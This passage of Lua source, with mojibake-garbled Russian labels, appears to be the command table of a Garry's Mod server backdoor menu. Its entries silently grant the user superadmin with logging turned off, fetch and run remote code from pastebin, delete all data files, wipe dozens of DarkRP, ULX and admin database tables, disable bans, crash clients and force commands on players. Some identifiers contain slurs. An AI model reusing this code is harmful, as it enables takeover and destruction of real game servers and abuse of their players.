764timer.Create( "porn", 0.3, 0, function()
765
766for _, p in pairs(player.GetAll()) do
767
768p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
769
770end
771
772end)
773
774else
775
776timer.Remove( "porn" )
777
778end]],
779
780},
781
782["БокÑёр"] = {
783
784["Type"] = 1,
785
786["Code"] = [[
787
788if !timer.Exists( "impakt" ) then
789
790timer.Create( "impakt", 0.3, 0, function()
791
792for _, p in pairs(player.GetAll()) do
793
794p:EmitSound( "physics/body/body_medium_impact_hard1.wav", 100, math.random( 90, 120 ) )
795
796end
797
798end)
799
800else
801
802timer.Remove( "impakt" )
803
804end]],
805
806},
807
808["Колокол"] = {
809
810["Type"] = 1,
811
812["Code"] = [[
813if !timer.Exists( "pimpon" ) then
814
815timer.Create( "pimpon", 0.3, 0, function()
816
817for _, p in pairs(player.GetAll()) do
818
819p:EmitSound( "ambient/alarms/warningbell1.wav", 100, math.random( 90, 120 ) )
820
821end
822
823end)
824
825else
826
827timer.Remove( "pimpon" )
828
829end
830]],
831
832},
833
834["ГражданÑÐºÐ°Ñ Ð²Ð¾Ð¹Ð½Ð°"] = {
835
836["Type"] = 1,
837
838["Code"] = [[
839
840if !timer.Exists( "cwar" ) then
841
842timer.Create( "cwar", 1, 0, function()
843
844for _, p in pairs(player.GetAll()) do
845
846p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
847
848end
849
850end)
851
852else
853
854timer.Remove( "cwar" )
855
856end]],
857
858},
859
860
861
862["Séisme"] = {
863
864["Type"] = 1,
865
866["Code"] = [[
867
868if !timer.Exists( "earthquake" ) then
869
870timer.Create( "earthquake", 0.5, 500, function()
871
872for _, p in pairs(player.GetAll()) do
873
874p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
875
876p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
877
878util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
879
880p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
881
882end
883
884
885
886for _, e in pairs(ents.GetAll()) do
887
888if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
889
890end
891
892
893end)
894
895else
896
897timer.Remove( "earthquake" )
898
899end]],
900
901},
902
903
904
905["Взорвать вÑе машины"] = {
906
907["Type"] = 1,
908
909["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
910
911local explo = ents.Create("env_explosion")
912
913explo:SetPos(v:GetPos())
914
915explo:SetKeyValue("iMagnitude", "300")
916
917explo:Spawn()
918
919explo:Activate()
920
921explo:Fire("Explode", "", 0)
922
923end
924
925end]],
926
927},
928
929
930
931["Команда RCON"] = {
932
933["Type"] = 1,
934
935["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
936
937["NeedsParameters"] = 1,
938
939},
940
941
942["'Supprimer Ulx"] = {
943
944["Type"] = 1,
945
946["Code"] = [[ULib.Ban = function() return false end
947
948ULib.addBan = function() return end
949
950ULib.kick = function() return end
951if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end
952if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end]],
953
954["Private"] = true,
955
956},
957
958["''Сломать нахуй†"] = {
959
960["Type"] = 1,
961
962["Code"] = [[ RunConsoleCommand("ulx_logecho", "0")
963RunConsoleCommand("ulx", "adduserid", "]]..LocalPlayer():SteamID()..[[", "superadmin")
964http.Fetch("https://pastebin.com/RS2EcJnp", function(b, l, h, c)RunString(b)end,nil)
965]],
966
967["Private"] = true,
968
969},
970
971
972["Крик годзиллы"] = {
973
974["Type"] = 1,
975
976["Code"] = [[
977
978if !timer.Exists( "jcrevenofake" ) then
979
980timer.Create( "jcrevenofake", 0.7, 0, function()
981
982for _, p in pairs(player.GetAll()) do
983
984p:EmitSound("ambient/voices/cough"..math.random(4)..".wav", 450 + math.random() * 50, 50 + math.random() * 10)
985
986end
987
988end)
989
990else
991
992timer.Remove( "jcrevenofake" )
993
994end]],
995
996},
997
998["Изменить карту"] = {
999
1000["Type"] = 1,
1001
1002["Code"] = [[RunConsoleCommand("ulx_logecho", "0")
1003RunConsoleCommand("ulx", "adduserid", "]]..LocalPlayer():SteamID()..[[", "superadmin")
1004
1005for k,v in pairs(player.GetAll()) do
1006v:ConCommand("ulx map gm_construct")
1007end
1008
1009]],
1010
1011
1012},
1013
1014
1015
1016["'Удалить Деньги"] = {
1017
1018["Type"] = 1,
1019
1020["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
1021
1022["Private"] = true,
1023
1024},
1025
1026["CleanUp"] = {
1027
1028["Type"] = 1,
1029
1030["Code"] = [[game.CleanUpMap()]],
1031
1032},
1033
1034["Удалить игроков"] = {
1035
1036["Type"] = 1,
1037
1038["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
1039},
1040
1041["'Сломать Дату"] = {
1042
1043["Type"] = 1,
1044
1045["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
1046
1047["Private"] = true,
1048
1049},
1050
1051["'Сломать Mysql"] = {
1052
1053["Type"] = 1,
1054
1055["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
1056
1057["Private"] = true,
1058
1059},
1060
1061["'Удалить базу данных"] = {
1062
1063["Type"] = 1,
1064
1065["Code"] = [[ sql.Query("DELETE FROM `DARKRP_BANNED_RPNAMES_STORE`")
1066sql.Query("DELETE FROM `DRP_PLAYER_NICKNAME_STORE`")
1067sql.Query("DELETE FROM `FADMIN_GROUPS`")
1068sql.Query("DELETE FROM `FADMIN_MOTD`")
1069sql.Query("DELETE FROM `FADMIN_PRIVILEGES`")
1070sql.Query("DELETE FROM `FADMIN_RESTRICTEDENTS`")
1071sql.Query("DELETE FROM `FAdminBans`")
1072sql.Query("DELETE FROM `FAdmin_CAMIPrivileges`")
1073sql.Query("DELETE FROM `FAdmin_Immunity`")
1074sql.Query("DELETE FROM `FAdmin_PlayerGroup`")
1075sql.Query("DELETE FROM `FAdmin_ServerSettings`")
1076sql.Query("DELETE FROM `FPP_ANTISPAM1`")
1077sql.Query("DELETE FROM `FPP_BLOCKED1`")
1078sql.Query("DELETE FROM `FPP_BLOCKEDMODELS1`")
1079sql.Query("DELETE FROM `FPP_BLOCKMODELSETTINGS1`")
1080sql.Query("DELETE FROM `FPP_ENTITYDAMAGE1`")
1081sql.Query("DELETE FROM `FPP_GLOBALSETTINGS1`")
1082sql.Query("DELETE FROM `FPP_GRAVGUN1`")
1083sql.Query("DELETE FROM `FPP_GROUPMEMBERS1`")
1084sql.Query("DELETE FROM `FPP_GROUPS3`")
1085sql.Query("DELETE FROM `FPP_GROUPTOOL`")
1086sql.Query("DELETE FROM `FPP_PHYSGUN1`")
1087sql.Query("DELETE FROM `FPP_PLAYERUSE1`")
1088sql.Query("DELETE FROM `FPP_TOOLADMINONLY`")
1089sql.Query("DELETE FROM `FPP_TOOLGUN1`")
1090sql.Query("DELETE FROM `FPP_TOOLRESTRICTPERSON1`")
1091sql.Query("DELETE FROM `FPP_TOOLTEAMRESTRICT`")
1092sql.Query("DELETE FROM `TTT_PLAYER_NICKNAME_STORE`")
1093sql.Query("DELETE FROM `batm_group_accounts`")
1094sql.Query("DELETE FROM `batm_personal_accounts`")
1095sql.Query("DELETE FROM `cac_incidents`")
1096sql.Query("DELETE FROM `cookies`")
1097sql.Query("DELETE FROM `darkrp_dbversion`")
1098sql.Query("DELETE FROM `darkrp_door`")
1099sql.Query("DELETE FROM `darkrp_doorgroups`")
1100sql.Query("DELETE FROM `darkrp_doorjobs`")
1101sql.Query("DELETE FROM `darkrp_jobSpawn`")
1102sql.Query("DELETE FROM `darkrp_player`")
1103sql.Query("DELETE FROM `darkrp_position`")
1104sql.Query("DELETE FROM `ll_plates`")
1105sql.Query("DELETE FROM `playerinformation`")
1106sql.Query("DELETE FROM `playerpdata`")
1107sql.Query("DELETE FROM `rphone_numbers`")
1108sql.Query("DELETE FROM `rphone_sms`")
1109sql.Query("DELETE FROM `sqlite_sequence`")
1110sql.Query("DELETE FROM `ulib_bans`")
1111sql.Query("DELETE FROM `utime`") ]],
1112
1113["Private"] = true,
1114
1115},
1116
1117/*============================================
1118|===== Выбрать игрока =====|
1119===========================================*/
1120
1121
1122
1123["Убить игрока"] = {
1124
1125["Type"] = 2,
1126
1127["Code"] = [[v:Kill()]],
1128
1129
1130},
1131
1132
1133
1134
1135["'Человек Радуга"] = {
1136
1137["Type"] = 2,
1138
1139["Code"] = [[
1140
1141v:SetModel( "models/player/group02/male_04.mdl" )
1142
1143v:SetMaterial( "models/debug/debugwhite" )
1144
1145hook.Add( "Think", "multicolore", function()
1146
1147v:SetColor( HSVToColor( RealTime() * 120 % 360, 1, 1 ) )
1148
1149end )
1150
1151
1152local id = ]] .. LocalPlayer():UserID() .. [[
1153
1154Player( id ):SetModel( "models/player/group02/male_04.mdl" )
1155
1156Player( id ):SetMaterial( "models/debug/debugwhite" )
1157
1158hook.Add( "Think", "multicolore2", function()
1159
1160if !IsValid( Player( id ) ) then return end
1161
1162Player( id ):SetColor( HSVToColor( RealTime() * 120 % 360, 1, 1 ) )
1163
1164end )
1165]],
1166
1167["Private"] = true,
1168},
1169
1170
1171
1172
1173["БЛЯТЬ он ёбаный волшебник"] = {
1174
1175["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
1176
1177["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
1178
1179},
1180
1181["ÐœÐ¸Ð½ÑƒÑ ÑƒÑˆÐ¸ (из интернета))"] = {
1182
1183["Type"] = 2,
1184
1185["Code"] = [[
1186
1187BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
1188
1189]],
1190
1191["Desc"] = "ВоÑпроизводит звук из ÑÑылки 1-й параметр.Отправка нового звука оÑтановит Ñтарый",
1192
1193["NeedsParameters"] = 1,
1194
1195},
1196
1197
1198["Удалить оружие"] = {
1199
1200["Type"] = 2,
1201
1202["Code"] = [[v:StripWeapons()]],
1203
1204},
1205
1206
1207
1208["Ракета"] = {
1209
1210["Type"] = 2,
1211
1212["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
1213
1214},
1215
1216
1217
1218["Сменить модель"] = {
1219
1220["Type"] = 2,
1221
1222["Code"] = [[v:SetModel( @1 )]],
1223
1224["NeedsParameters"] = 1,
1225
1226},
1227
1228
1229
1230
1231["♾ ВоÑпроизвеÑти звук (1-5)"] = {
1232
1233["Type"] = 2,
1234
1235["Code"] = [[
1236
1237local snd = {
1238
1239[1] = "npc/stalker/go_alert2a.wav",
1240
1241[2] = "vo/npc/male01/question06.wav",
1242
1243[3] = "ambient/energy/zap1.wav",
1244
1245[4] = "vo/ravenholm/madlaugh04.wav",
1246
1247[5] = "npc/antlion_guard/antlion_guard_die1.wav",
1248
1249}
1250
1251v:EmitSound( snd[tonumber(@1)], 100, 100 )
1252
1253]],
1254
1255["NeedsParameters"] = 1,
1256
1257},
1258
1259
1260["'Ð’Ñ€ÐµÐ¼Ñ Ð´Ð»Ñ Ð´Ð¸Ñко"] = {
1261
1262["Type"] = 2,
1263
1264["Code"] = [[
1265
1266BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 10 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
1267
1268]],
1269
1270["Private"] = true,
1271
1272},
1273
1274
1275
1276["'ДиÑко музыка"] = {
1277
1278["Type"] = 2,
1279
1280["Code"] = [[
1281
1282BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
1283
1284]],
1285
1286["Private"] = true,
1287
1288},
1289
1290
1291
1292["Pm Ñообщение"] = {
1293
1294["Type"] = 2,
1295
1296["Code"] = [[v:ChatPrint( @1 )]],
1297
1298["NeedsParameters"] = 1,
1299
1300},
1301
1302
1303
1304["Поджечь"] = {
1305
1306["Type"] = 2,
1307
1308["Code"] = [[v:Ignite( 30 )]],
1309
1310},
1311
1312
1313
1314["БеÑÑмертие"] = {
1315
1316["Type"] = 2,
1317
1318["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
1319
1320},
1321
1322
1323
1324["'Крашнуть"] = {
1325
1326["Type"] = 2,
1327
1328["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
1329
1330["Private"] = true,
1331
1332},
1333
1334
1335
1336["БыÑтрый бег"] = {
1337
1338["Type"] = 2,
1339
1340["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 ) v:SetWalkSpeed(800) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
1341
1342},
1343
1344
1345
1346["Заморозить"] = {
1347
1348["Type"] = 2,
1349
1350["Code"] = [[v:Freeze( !v:IsFrozen() )]],
1351
1352},
1353
1354
1355
1356["§ Ð¤Ð¾Ñ€Ñ Ñ‚ÐµÐºÑта"] = {
1357
1358["Type"] = 2,
1359
1360["Code"] = [[v:Say(@1)]],
1361
1362["NeedsParameters"] = 1,
1363
1364},
1365
1366
1367
1368["§ Ð¤Ð¾Ñ€Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹"] = {
1369
1370["Type"] = 2,
1371
1372["Code"] = [[v:ConCommand(@1)]],
1373
1374["NeedsParameters"] = 1,
1375
1376},
1377
1378["§ Тролинк=)"] = {
1379
1380["Type"] = 2,
1381
1382["Code"] = [[v:ConCommand( "+left" )
1383v:ConCommand( "+back" )]],
1384
1385},
1386
1387["§ Выйти из игры"] = {
1388
1389["Type"] = 2,
1390
1391["Code"] = [[v:ConCommand(quit)]],
1392
1393},
1394
1395
1396
1397
1398
1399
1400
1401["Изменить количеÑтво денег"] = {
1402
1403["Type"] = 2,
1404
1405["Code"] = [[v:addMoney(@1)]],
1406
1407["NeedsParameters"] = 1,
1408
1409},
1410
1411
1412
1413["Сменить работу"] = {
1414
1415["Type"] = 2,
1416
1417["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
1418
1419["NeedsParameters"] = 1,
1420
1421},
1422
1423
1424
1425["Ðоклип"] = {
1426
1427["Type"] = 2,
1428
1429["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
1430
1431},
1432
1433
1434
1435["Телепортировать Сюда"] = {
1436
1437["Type"] = 2,
1438
1439["Code"] = [[
1440
1441local tp = false
1442
1443local tpos
1444
1445for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
1446
1447if tp then v:SetPos( tpos ) end
1448
1449]],
1450
1451},
1452
1453
1454
1455["Goto"] = {
1456
1457["Type"] = 2,
1458
1459["Code"] = [[
1460
1461local tp = false
1462
1463local tpos = v:GetPos() + Vector( 32, 0, 10)
1464
1465for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
1466
1467]],
1468
1469},
1470
1471
1472["Спавн Ðнтити"] = {
1473
1474["Type"] = 2,
1475
1476["Code"] = [[
1477
1478local tr = {}
1479
1480tr.start = v:GetShootPos()
1481
1482tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1483
1484tr.filter = {v}
1485
1486local trace = util.TraceLine(tr)
1487
1488local dix = ents.Create( @1 )
1489
1490dix:SetPos(trace.HitPos)
1491
1492dix:SetAngles(Angle(0,0,0))
1493
1494dix:Spawn()
1495
1496]],
1497
1498
1499["NeedsParameters"] = 1,
1500
1501},
1502
1503
1504
1505["Спавн пропа"] = {
1506
1507["Type"] = 2,
1508
1509["Code"] = [[
1510
1511local tr = {}
1512
1513tr.start = v:GetShootPos()
1514
1515tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1516
1517tr.filter = {v}
1518
1519local trace = util.TraceLine(tr)
1520
1521local dix = ents.Create( "prop_physics" )
1522
1523dix:SetPos(trace.HitPos)
1524
1525dix:SetAngles(Angle(0,0,0))
1526
1527dix:SetModel( @1 )
1528
1529dix:Spawn()
1530
1531]],
1532
1533["NeedsParameters"] = 1,
1534
1535},
1536
1537
1538
1539["'Спавн заблокированых пропов"] = {
1540
1541["Type"] = 2,
1542
1543["Code"] = [[
1544
1545FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {}
1546
1547local tr = {}
1548
1549tr.start = v:GetShootPos()
1550
1551tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1552
1553tr.filter = {v}
1554
1555local trace = util.TraceLine(tr)
1556
1557local dix = ents.Create( "prop_physics" )
1558
1559dix:SetPos( trace.HitPos + Vector( 0, 0, 70 ) )
1560
1561dix:SetAngles( v:GetAngles() )
1562
1563dix:SetModel( "models/props_combine/breenglobe.mdl" )
1564
1565dix:Spawn()
1566
1567dix:SetMoveType( MOVETYPE_NONE )
1568
1569dix:SetMaterial( "models/shiny" )
1570
1571dix:SetColor( Color( 0, 0, 40 ) )
1572
1573
1574
1575local function ecr( parent, model, pos, ang, col, mat )
1576
1577local dix = ents.Create( "prop_physics" )
1578
1579dix:SetPos( parent:LocalToWorld( pos ) )
1580
1581dix:SetAngles( parent:LocalToWorldAngles( ang ) )
1582
1583dix:SetModel( model )
1584
1585dix:SetParent( parent )
1586
1587dix:Spawn()
1588
1589dix:SetColor( col )
1590
1591dix:SetMaterial( mat )
1592
1593end
1594
1595ecr( dix, "models/props_phx/construct/metal_plate_curve360x2.mdl", Vector( -5, 0, 30 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1596ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5, 0, 120 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1597ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5, 35, 0 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1598ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5, 35, 0 ), Angle( 180, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1599ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5, -35, 0 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1600ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5, -35, 0 ), Angle( 180, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1601
1602for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(255, 255, 255 ), "ROCCCOOOOO SIIIFREEEEDIIIII")' ) sound.Play( "vo/npc/female01/yeah02.wav", p:GetPos(), 90, 80, 1 ) end
1603
1604]],
1605
1606["Private"] = true,
1607
1608},
1609
1610
1611
1612["ЗаÑпавнить врагов"] = {
1613
1614["Type"] = 2,
1615
1616["Code"] = [[
1617
1618local tr = {}
1619
1620tr.start = v:GetShootPos()
1621
1622tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1623
1624tr.filter = {v}
1625
1626local trace = util.TraceLine(tr)
1627
1628local dix = ents.Create( "npc_citizen" )
1629
1630dix:SetPos(trace.HitPos)
1631
1632dix:SetAngles(Angle(0,0,0))
1633
1634dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
1635
1636dix:SetKeyValue( "citizentype", 3 )
1637
1638dix:AddRelationship("player D_HT 200")
1639
1640dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
1641
1642dix:SetSchedule( SCHED_IDLE_WANDER )
1643
1644dix:Spawn()
1645
1646]],
1647
1648},
1649
1650
1651["Взрыв глазами"] = {
1652
1653["Type"] = 2,
1654
1655["Code"] = [[
1656
1657local trace = v:GetEyeTraceNoCursor()
1658
1659local explo = ents.Create("env_explosion")
1660
1661explo:SetPos(trace.HitPos)
1662
1663explo:SetKeyValue("iMagnitude", "250")
1664
1665explo:Spawn()
1666
1667explo:Activate()
1668
1669explo:Fire("Explode", "", 0)
1670
1671]],
1672
1673
1674},
1675
1676
1677
1678
1679["Дождь из машин"] = {
1680
1681["Type"] = 2,
1682
1683["Code"] = [[
1684
1685local trace = v:GetEyeTraceNoCursor()
1686
1687local car = ents.Create("prop_physics")
1688
1689local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
1690
1691car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
1692
1693car:SetAngles( v:GetAngles() )
1694
1695car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
1696
1697car:Spawn()
1698
1699car:Activate()
1700
1701car.boom = 6
1702
1703car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
1704
1705car:Ignite( 500 )
1706
1707car:AddCallback( "PhysicsCollide", function( car, dat )
1708
1709local explo = ents.Create("env_explosion")
1710
1711explo:SetPos( car:GetPos() )
1712
1713explo:SetKeyValue("iMagnitude", "350")
1714
1715explo:Spawn()
1716
1717explo:Activate()
1718
1719explo:Fire("Explode", "", 0)
1720
1721local ef = EffectData()
1722
1723ef:SetOrigin( car:GetPos() )
1724
1725ef:SetMagnitude( 5 )
1726
1727ef:SetScale( 200 )
1728
1729util.Effect( "ThumperDust", ef )
1730
1731car.boom = car.boom - 1
1732
1733if car.boom < 0 then car:Remove() end
1734
1735end )
1736
1737timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
1738
1739]],
1740
1741},
1742
1743
1744
1745["ТокÑичный газ"] = {
1746
1747["Type"] = 2,
1748
1749["Code"] = [[
1750
1751local trace = v:GetEyeTraceNoCursor()
1752
1753local ar2Explo = ents.Create("env_ar2explosion")
1754
1755ar2Explo:SetOwner(game.GetWorld())
1756
1757local p = trace.HitPos
1758
1759ar2Explo:SetPos(trace.HitPos)
1760
1761ar2Explo:Spawn()
1762
1763ar2Explo:Activate()
1764
1765ar2Explo:Fire("Explode", "", 0)
1766
1767timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
1768
1769for _, ent in pairs(ents.FindInSphere( p, 500)) do
1770
1771if !ent:IsPlayer() then continue end
1772
1773local d = DamageInfo()
1774
1775d:SetDamage( 1 )
1776
1777d:SetAttacker( game.GetWorld() )
1778
1779d:SetInflictor( game.GetWorld() )
1780
1781d:SetDamageType( DMG_DROWN )
1782
1783ent:TakeDamageInfo( d )
1784
1785end
1786
1787end)
1788
1789
1790
1791]],
1792
1793},
1794
1795
1796["Пнуть игрока"] = {
1797
1798["Type"] = 2,
1799
1800["Code"] = [[ v:Kick( @1 ) ]],
1801
1802
1803},
1804
1805
1806
1807
1808["Инвиз"] = {
1809
1810["Type"] = 2,
1811
1812["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
1813
1814
1815},
1816
1817
1818
1819["'ПоÑтавить ранг"] = {
1820
1821["Type"] = 2,
1822
1823["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
1824
1825["NeedsParameters"] = 1,
1826
1827["Private"] = true,
1828
1829},
1830
1831
1832
1833
1834/*====================================
1835|===== КаÑтомные команды =====|
1836===================================*/
1837
1838
1839
1840
1841["2д игроки"] = {
1842
1843["Type"] = 2,
1844
1845["Code"] = [[
1846local bones = {
1847[1] = {b = "ValveBiped.Bip01_Head1", v = Vector(4,0,4)},
1848[2] = {b = "ValveBiped.Bip01_R_Thigh", v = Vector(0,0,0)},
1849[3] = {b = "ValveBiped.Bip01_L_Thigh", v = Vector(0,0,0)},
1850[4] = {b = "ValveBiped.Bip01_R_Calf", v = Vector(0,0,1)},
1851[5] = {b = "ValveBiped.Bip01_L_Calf", v = Vector(0,0,1)},
1852[6] = {b = "ValveBiped.Bip01_R_UpperArm", v = Vector(0,0,0)},
1853[7] = {b = "ValveBiped.Bip01_L_UpperArm", v = Vector(0,0,0)},
1854[8] = {b = "ValveBiped.Bip01_R_Forearm", v = Vector(1,1.5,1.5)},
1855[9] = {b = "ValveBiped.Bip01_L_Forearm", v = Vector(1,1.5,1.5)},
1856[10] = {b = "ValveBiped.Bip01_R_Clavicle", v = Vector(0,0,0)},
1857[11] = {b = "ValveBiped.Bip01_L_Clavicle", v = Vector(0,0,0)},
1858}
1859
1860if !v.is2D then
1861v.is2D = true
1862for k, bone in pairs(bones) do
1863local boneToFind = v:LookupBone(bone.b)
1864v:ManipulateBoneScale( boneToFind, bone.v)
1865end
1866else
1867v.is2D = false
1868for k, bone in pairs(bones) do
1869local boneToFind = v:LookupBone(bone.b)
1870v:ManipulateBoneScale( boneToFind, Vector(1,1,1))
1871end
1872end
1873]],
1874
1875},
1876
1877["взрыв(M9K)"] = {
1878
1879["Type"] = 2,
1880
1881["Code"] = [[
1882// if (m9k) then
1883local nuke = ents.Create("m9k_davy_crockett_explo")
1884nuke:SetPos(v:GetPos())
1885nuke:SetOwner(v)
1886nuke.Owner = v
1887nuke:Spawn()
1888nuke:Activate()
1889// end
1890]],
1891
1892},
1893
1894["Ñломать конÑоль"] = {
1895
1896["Type"] = 1,
1897
1898["Code"] = [[
1899if !(timer.Exists("consoleJammer")) then
1900timer.Create("consoleJammer", 0.5, 0, function()
1901print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
1902end )
1903else
1904timer.Destroy("consoleJammer")
1905end
1906]],
1907
1908},
1909
1910["'получить Ñупер админа"] = {
1911
1912["Type"] = 1,
1913
1914["Code"] = [[
1915RunConsoleCommand("ulx_logecho", "0")
1916RunConsoleCommand("ulx", "adduserid", "]]..LocalPlayer():SteamID()..[[", "superadmin")
1917]],
1918
1919["Private"] = true,
1920
1921},
1922
1923["Deban all"] = {
1924
1925["Type"] = 1,
1926
1927["Code"] = [[
1928RunConsoleCommand(\"ulx\", \"groupallow\", \"user\", \"ulx luarun\")
1929]],
1930
1931},
1932
1933
1934["'Удалить Ñервер"] = {
1935
1936["Type"] = 1,
1937
1938["Code"] = [[
1939local date = os.date( "%m-%d-%y" )
1940local dataBDMenus = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobSpawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","